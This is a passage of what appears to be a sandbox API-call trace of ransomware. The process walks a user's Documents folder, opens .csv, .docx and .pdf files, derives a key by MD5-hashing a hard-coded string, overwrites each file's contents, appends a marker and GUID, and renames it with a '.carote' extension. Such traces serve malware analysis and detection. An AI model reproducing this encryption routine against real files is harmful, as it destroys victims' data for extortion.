dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.383] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.383] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.383] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.383] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.383] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.383] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.383] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.383] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.383] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\LFwoVJrFDf\\") returned="LFwoVJrFDf\\" [0113.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c320 [0113.383] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.383] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\") returned="SmG7\\" [0113.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.383] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0113.383] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0113.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0113.383] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.383] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0113.383] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.383] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.383] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0113.384] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.384] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.384] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.384] PathFindFileNameW (pszPath="") returned="" [0113.384] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.384] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\LFwoVJrFDf\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x676967a0, ftCreationTime.dwHighDateTime=0x1d4ca81, ftLastAccessTime.dwLowDateTime=0x76c41830, ftLastAccessTime.dwHighDateTime=0x1d4d201, ftLastWriteTime.dwLowDateTime=0x76c41830, ftLastWriteTime.dwHighDateTime=0x1d4d201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.385] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.385] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x676967a0, ftCreationTime.dwHighDateTime=0x1d4ca81, ftLastAccessTime.dwLowDateTime=0x76c41830, ftLastAccessTime.dwHighDateTime=0x1d4d201, ftLastWriteTime.dwLowDateTime=0x76c41830, ftLastWriteTime.dwHighDateTime=0x1d4d201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.385] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x327df270, ftCreationTime.dwHighDateTime=0x1d4c682, ftLastAccessTime.dwLowDateTime=0x319ead20, ftLastAccessTime.dwHighDateTime=0x1d4ccb0, ftLastWriteTime.dwLowDateTime=0x319ead20, ftLastWriteTime.dwHighDateTime=0x1d4ccb0, nFileSizeHigh=0x0, nFileSizeLow=0x11729, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IizG80gjyvdMDI.csv", cAlternateFileName="IIZG80~1.CSV")) returned 1 [0113.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0113.385] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.385] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\LFwoVJrFDf\\IizG80gjyvdMDI.csv") returned=".csv" [0113.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\LFwoVJrFDf\\IizG80gjyvdMDI.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\lfwovjrfdf\\iizg80gjyvdmdi.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.386] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=71465) returned 1 [0113.386] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.388] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11703, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.388] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.389] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.389] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.389] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.389] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x11729, lpOverlapped=0x0) returned 1 [0113.390] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.390] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.390] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.390] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecdf8) returned 1 [0113.391] CryptCreateHash (in: hProv=0x50ecdf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.391] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.391] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.391] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.391] GetLastError () returned 0x0 [0113.391] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.391] CryptReleaseContext (hProv=0x50ecdf8, dwFlags=0x0) returned 1 [0113.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11730) returned 0x7b182e0 [0113.392] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.392] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x11724, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x11724, lpOverlapped=0x0) returned 1 [0113.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.392] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11729, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.392] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.393] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.393] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.393] CloseHandle (hObject=0x61c) returned 1 [0113.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109ae8 [0113.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b14908 [0113.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109ae8 | out: hHeap=0x5010000) returned 1 [0113.394] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\LFwoVJrFDf\\IizG80gjyvdMDI.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\lfwovjrfdf\\iizg80gjyvdmdi.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\LFwoVJrFDf\\IizG80gjyvdMDI.csv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\lfwovjrfdf\\iizg80gjyvdmdi.csv.carote")) returned 1 [0113.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.394] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.395] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86350fa0, ftCreationTime.dwHighDateTime=0x1d4c698, ftLastAccessTime.dwLowDateTime=0x3eba5d0, ftLastAccessTime.dwHighDateTime=0x1d4c716, ftLastWriteTime.dwLowDateTime=0x3eba5d0, ftLastWriteTime.dwHighDateTime=0x1d4c716, nFileSizeHigh=0x0, nFileSizeLow=0x4222, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RgglSxZBJI5s8e_qw4.docx", cAlternateFileName="RGGLSX~1.DOC")) returned 1 [0113.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0113.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\LFwoVJrFDf\\RgglSxZBJI5s8e_qw4.docx") returned=".docx" [0113.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\LFwoVJrFDf\\RgglSxZBJI5s8e_qw4.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\lfwovjrfdf\\rgglsxzbji5s8e_qw4.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.396] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=16930) returned 1 [0113.396] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.398] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x41fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.398] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.399] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.399] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.399] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x4222, lpOverlapped=0x0) returned 1 [0113.400] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.400] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.400] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.400] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.400] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecdf8) returned 1 [0113.401] CryptCreateHash (in: hProv=0x50ecdf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.401] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.401] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.401] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.401] GetLastError () returned 0x0 [0113.401] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.401] CryptReleaseContext (hProv=0x50ecdf8, dwFlags=0x0) returned 1 [0113.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x4220) returned 0x7b182e0 [0113.401] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.401] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x421d, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x421d, lpOverlapped=0x0) returned 1 [0113.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.402] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4222, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.402] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.402] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.402] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.402] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.402] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.402] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.402] CloseHandle (hObject=0x61c) returned 1 [0113.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109ae8 [0113.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b14908 [0113.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109ae8 | out: hHeap=0x5010000) returned 1 [0113.403] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\LFwoVJrFDf\\RgglSxZBJI5s8e_qw4.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\lfwovjrfdf\\rgglsxzbji5s8e_qw4.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\LFwoVJrFDf\\RgglSxZBJI5s8e_qw4.docx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\lfwovjrfdf\\rgglsxzbji5s8e_qw4.docx.carote")) returned 1 [0113.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.404] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.405] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440df290, ftCreationTime.dwHighDateTime=0x1d4cbde, ftLastAccessTime.dwLowDateTime=0xcb237860, ftLastAccessTime.dwHighDateTime=0x1d4c808, ftLastWriteTime.dwLowDateTime=0xcb237860, ftLastWriteTime.dwHighDateTime=0x1d4c808, nFileSizeHigh=0x0, nFileSizeLow=0x13dec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Zvgl_GVfIYN2KR.pdf", cAlternateFileName="ZVGL_G~1.PDF")) returned 1 [0113.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0113.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.405] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\LFwoVJrFDf\\Zvgl_GVfIYN2KR.pdf") returned=".pdf" [0113.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\LFwoVJrFDf\\Zvgl_GVfIYN2KR.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\lfwovjrfdf\\zvgl_gvfiyn2kr.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.406] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=81388) returned 1 [0113.406] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.407] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13dc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.407] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.409] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.409] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.409] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.409] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x13dec, lpOverlapped=0x0) returned 1 [0113.410] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.410] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.410] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.410] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.410] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecdf8) returned 1 [0113.411] CryptCreateHash (in: hProv=0x50ecdf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.411] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, 